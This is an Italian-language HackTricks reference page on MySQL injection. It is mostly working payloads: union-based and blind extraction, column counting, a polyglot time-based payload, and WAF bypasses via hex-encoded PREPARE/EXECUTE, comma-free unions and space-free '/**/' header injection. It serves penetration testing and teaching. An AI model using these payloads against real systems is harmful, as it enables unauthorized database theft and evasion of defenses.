MySQL injection

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Commenti

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funzioni Interessanti

Conferma Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funzioni utili

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tutte le iniezioni

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flusso

Ricorda che nelle versioni "moderne" di MySQL puoi sostituire "information_schema.tables" con "mysql.innodb_table_stats" (Questo potrebbe essere utile per bypassare i WAF).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valore

  • group_concat()
  • Limit X,1

Cieco uno per uno

  • substr(version(),X,1)='r' o substring(version(),X,1)=0x70 o ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Cieco aggiungendo

  • LPAD(version(),1...lunghezza(version()),'1')='asd'...
  • RPAD(version(),1...lunghezza(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lunghezza(version()))='asd'...
  • SELECT LEFT(version(),1...lunghezza(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Rileva il numero di colonne

Utilizzando un semplice ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Basato su Union

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Impara qui diverse opzioni per abuse a Mysql injection per ottenere un SSRF.

WAF bypass tricks

Esecuzione di query tramite Prepared Statements

Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Per ulteriori informazioni, si prega di fare riferimento a questo post del blog.

Alternative a information_schema

Ricorda che nelle versioni "moderne" di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics

MySQLinjection senza VIRGOLA

Seleziona 2 colonne senza utilizzare alcuna virgola (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recupero dei valori senza il nome della colonna

Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection senza SPAZI (/**/ comment trick)

Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come sscanf("%128s", buf) che si fermano al primo carattere di spazio. Poiché MySQL tratta la sequenza /**/ sia come un commento che come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.

Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Quale il database riceve come:

sql
' OR SLEEP(5)-- -'

Questo è particolarmente utile quando:

  • Il buffer controllabile è limitato in dimensione (ad es. %128s) e gli spazi terminerebbero prematuramente l'input.
  • Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori.
  • Combinato con le primitive INTO OUTFILE per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE).

Storia di MySQL

Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: sys.x$statement_analysis

Versione alternatives

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Altri guide all'iniezione MYSQL

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks